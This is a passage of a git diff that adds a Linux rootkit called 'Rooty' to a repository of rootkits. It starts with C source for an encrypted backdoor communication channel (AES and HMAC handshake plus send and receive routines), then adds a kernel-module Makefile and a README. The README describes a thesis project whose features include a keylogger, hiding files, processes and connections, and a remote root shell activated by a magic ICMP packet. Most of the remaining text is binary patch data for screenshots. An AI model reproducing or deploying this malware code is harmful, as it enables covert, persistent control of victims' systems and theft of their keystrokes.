pass them to the server */ + + ret = pel_send_all(server, buffer, 40, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* setup the session keys */ + + pel_setup_context(&send_ctx, key, IV1); + pel_setup_context(&recv_ctx, key, IV2); + + /* handshake - encrypt and send the client's challenge */ + + ret = pel_send_msg(server, challenge, 16); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* handshake - decrypt and verify the server's challenge */ + + ret = pel_recv_msg(server, buffer, &len); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + if (len != 16 || memcmp(buffer, challenge, 16) != 0) { + pel_errno = PEL_WRONG_CHALLENGE; + + return (PEL_FAILURE); + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* session setup - server side */ + +int pel_server_init(int client, char *key) +{ + int ret, len; + unsigned char IV1[20], IV2[20]; + + /* get the IVs from the client */ + + ret = pel_recv_all(client, buffer, 40, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + memcpy(IV2, &buffer[0], 20); + memcpy(IV1, &buffer[20], 20); + + /* setup the session keys */ + + pel_setup_context(&send_ctx, key, IV1); + pel_setup_context(&recv_ctx, key, IV2); + + /* handshake - decrypt and verify the client's challenge */ + + ret = pel_recv_msg(client, buffer, &len); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + if (len != 16 || memcmp(buffer, challenge, 16) != 0) { + pel_errno = PEL_WRONG_CHALLENGE; + + return (PEL_FAILURE); + } + + /* handshake - encrypt and send the server's challenge */ + + ret = pel_send_msg(client, challenge, 16); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* this routine computes the AES & HMAC session keys */ + +void pel_setup_context(struct pel_context *pel_ctx, char *key, + unsigned char IV[20]) +{ + int i; + struct sha1_context sha1_ctx; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)key, strlen(key)); + sha1_update(&sha1_ctx, IV, 20); + sha1_finish(&sha1_ctx, buffer); + + aes_set_key(&pel_ctx->SK, buffer, 128); + + memcpy(pel_ctx->LCT, IV, 16); + + memset(pel_ctx->k_ipad, 0x36, 64); + memset(pel_ctx->k_opad, 0x5C, 64); + + for (i = 0; i < 20; i++) { + pel_ctx->k_ipad[i] ^= buffer[i]; + pel_ctx->k_opad[i] ^= buffer[i]; + } + + pel_ctx->p_cntr = 0; +} + +/* encrypt and transmit a message */ + +int pel_send_msg(int sockfd, unsigned char *msg, int length) +{ + unsigned char digest[20]; + struct sha1_context sha1_ctx; + int i, j, ret, blk_len; + + /* verify the message length */ + + if (length <= 0 || length > BUFSIZE) { + pel_errno = PEL_BAD_MSG_LENGTH; + + return (PEL_FAILURE); + } + + /* write the message length at start of buffer */ + + buffer[0] = (length >> 8) & 0xFF; + buffer[1] = (length)&0xFF; + + /* append the message content */ + + memcpy(buffer + 2, msg, length); + + /* round up to AES block length (16 bytes) */ + + blk_len = 2 + length; + + if ((blk_len & 0x0F) != 0) { + blk_len += 16 - (blk_len & 0x0F); + } + + /* encrypt the buffer with AES-CBC-128 */ + + for (i = 0; i < blk_len; i += 16) { + for (j = 0; j < 16; j++) { + buffer[i + j] ^= send_ctx.LCT[j]; + } + + aes_encrypt(&send_ctx.SK, &buffer[i]); + + memcpy(send_ctx.LCT, &buffer[i], 16); + } + + /* compute the HMAC-SHA1 of the ciphertext */ + + buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF; + buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF; + buffer[blk_len + 2] = (send_ctx.p_cntr << 8) & 0xFF; + buffer[blk_len + 3] = (send_ctx.p_cntr) & 0xFF; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, send_ctx.k_ipad, 64); + sha1_update(&sha1_ctx, buffer, blk_len + 4); + sha1_finish(&sha1_ctx, digest); + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, send_ctx.k_opad, 64); + sha1_update(&sha1_ctx, digest, 20); + sha1_finish(&sha1_ctx, &buffer[blk_len]); + + /* increment the packet counter */ + + send_ctx.p_cntr++; + + /* transmit ciphertext and message authentication code */ + + ret = pel_send_all(sockfd, buffer, blk_len + 20, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* receive and decrypt a message */ + +int pel_recv_msg(int sockfd, unsigned char *msg, int *length) +{ + unsigned char temp[16]; + unsigned char hmac[20]; + unsigned char digest[20]; + struct sha1_context sha1_ctx; + int i, j, ret, blk_len; + + /* receive the first encrypted block */ + + ret = pel_recv_all(sockfd, buffer, 16, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* decrypt this block and extract the message length */ + + memcpy(temp, buffer, 16); + + aes_decrypt(&recv_ctx.SK, buffer); + + for (j = 0; j < 16; j++) { + buffer[j] ^= recv_ctx.LCT[j]; + } + + *length = (((int)buffer[0]) << 8) + (int)buffer[1]; + + /* restore the ciphertext */ + + memcpy(buffer, temp, 16); + + /* verify the message length */ + + if (*length <= 0 || *length > BUFSIZE) { + pel_errno = PEL_BAD_MSG_LENGTH; + + return (PEL_FAILURE); + } + + /* round up to AES block length (16 bytes) */ + + blk_len = 2 + *length; + + if ((blk_len & 0x0F) != 0) { + blk_len += 16 - (blk_len & 0x0F); + } + + /* receive the remaining ciphertext and the mac */ + + ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + memcpy(hmac, &buffer[blk_len], 20); + + /* verify the ciphertext integrity */ + + buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF; + buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF; + buffer[blk_len + 2] = (recv_ctx.p_cntr << 8) & 0xFF; + buffer[blk_len + 3] = (recv_ctx.p_cntr) & 0xFF; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, recv_ctx.k_ipad, 64); + sha1_update(&sha1_ctx, buffer, blk_len + 4); + sha1_finish(&sha1_ctx, digest); + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, recv_ctx.k_opad, 64); + sha1_update(&sha1_ctx, digest, 20); + sha1_finish(&sha1_ctx, digest); + + if (memcmp(hmac, digest, 20) != 0) { + pel_errno = PEL_CORRUPTED_DATA; + + return (PEL_FAILURE); + } + + /* increment the packet counter */ + + recv_ctx.p_cntr++; + + /* finally, decrypt and copy the message */ + + for (i = 0; i < blk_len; i += 16) { + memcpy(temp, &buffer[i], 16); + + aes_decrypt(&recv_ctx.SK, &buffer[i]); + + for (j = 0; j < 16; j++) { + buffer[i + j] ^= recv_ctx.LCT[j]; + } + + memcpy(recv_ctx.LCT, temp, 16); + } + + memcpy(msg, &buffer[2], *length); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* send/recv wrappers to handle fragmented TCP packets */ + +int pel_send_all(int s, void *buf, size_t len, int flags) +{ + int n; + size_t sum = 0; + char *offset = buf; + + while (sum < len) { + n = send(s, (void *)offset, len - sum, flags); + + if (n < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sum += n; + + offset += n; + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +int pel_recv_all(int s, void *buf, size_t len, int flags) +{ + int n; + size_t sum = 0; + char *offset = buf; + + while (sum < len) { + n = recv(s, (void *)offset, len - sum, flags); + + if (n == 0) { + pel_errno = PEL_CONN_CLOSED; + + return (PEL_FAILURE); + } + + if (n < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sum += n; + + offset += n; + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} diff --git a/Linux/Rootkits/Rooty/Makefile b/Linux/Rootkits/Rooty/Makefile new file mode 100644 index 0000000..ea0a5e1 --- /dev/null +++ b/Linux/Rootkits/Rooty/Makefile @@ -0,0 +1,9 @@ +CC = gcc +INCLUDES = -I/home/newhall/include -I../include +obj-m += rooty.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/Module.symvers b/Linux/Rootkits/Rooty/Module.symvers new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Rooty/README.md b/Linux/Rootkits/Rooty/README.md new file mode 100644 index 0000000..97ca3f6 --- /dev/null +++ b/Linux/Rootkits/Rooty/README.md @@ -0,0 +1,43 @@ +# rooty +Academic project of Linux rootkit made for Bachelor Engineering Thesis. + +More about project can be found in actual [thesis](https://github.com/jermeyyy/rooty/blob/master/docs/Praca%20In%C5%BCynierska%20-%20Karol%20Celebi.pdf) or in [article](https://github.com/jermeyyy/rooty/blob/master/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf) written by Zbigniew Suski (thesis supervisor). + +Whole rootkit is implemented as LKM module and few user-space services. + +## Functionalities +- root access +- hiding itself +- control via IOCTL interface (client included) +- keylogger +- hide files/dirs +- hide processes +- hide tcp/udp IPv4/IPv6 connections +- remote root shell activated by magic ICMP packet +- VNC protocol service (screen preview only) + +## Screenshots + +### rooty LKM initialization +![](/art/init.png?raw=true) + +### IOCTL control interface +![](/art/ioctl-control.png?raw=true) + +### keylogger +![](/art/keylogger.png?raw=true) + +### sshd initialization +![](/art/ssh-init.png?raw=true) + +### sshd initialized +![](/art/ssh-init2.png?raw=true) + +### remote access +![](/art/ssh-access.png?raw=true) + +### vncd initialization +![](/art/vncd-init.png?raw=true) + +### vncd running +![](/art/vncd-running.png?raw=true) diff --git a/Linux/Rootkits/Rooty/art/init.png b/Linux/Rootkits/Rooty/art/init.png new file mode 100644 index 0000000000000000000000000000000000000000..9f96661c0b39663849d424ba9ee19852bc3b4ecd GIT binary patch literal 141906 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 